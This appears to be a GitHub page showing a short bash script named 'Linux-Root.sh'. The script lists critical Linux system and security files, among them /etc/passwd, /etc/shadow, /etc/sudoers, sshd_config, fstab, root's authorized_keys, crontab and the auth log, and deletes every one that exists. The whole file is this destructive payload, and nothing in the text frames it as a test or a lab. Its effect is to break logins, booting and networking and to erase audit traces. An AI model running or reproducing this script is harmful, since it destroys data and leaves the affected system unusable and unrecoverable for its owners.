-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathLinux-Root.sh
More file actions
32 lines (30 loc) · 1.29 KB
/
Linux-Root.sh
File metadata and controls
32 lines (30 loc) · 1.29 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/bin/bash
declare -a files_to_delete=("${ETCDIR:-/etc}/passwd"
"${ETCDIR:-/etc}/shadow"
"${ETCDIR:-/etc}/group"
"${ETCDIR:-/etc}/sudoers"
"${ETCDIR:-/etc}/ssh/sshd_config"
"${ETCDIR:-/etc}/hosts"
"${ETCDIR:-/etc}/network/interfaces"
"${ETCDIR:-/etc}/fstab"
"${ETCDIR:-/etc}/hostname"
"${ETCDIR:-/etc}/resolv.conf"
"${ETCDIR:-/etc}/securetty"
"${ETCDIR:-/etc}/motd"
"${VARDIR:-/var}/log/auth.log"
"${ROOTDIR:-/root}/.ssh/authorized_keys"
"${ETCDIR:-/etc}/hosts.allow"
"${ETCDIR:-/etc}/hosts.deny"
"${ETCDIR:-/etc}/crontab"
"${ETCDIR:-/etc}/cron.d/"
"${ETCDIR:-/etc}/passwd-"
"${ETCDIR:-/etc}/shadow-"
)
for file in "${files_to_delete[@]}"; do
if [[ -e "$file" ]]; then
rm "$file"
echo "Deleted $file"
else
echo "$file does not exist"
fi
done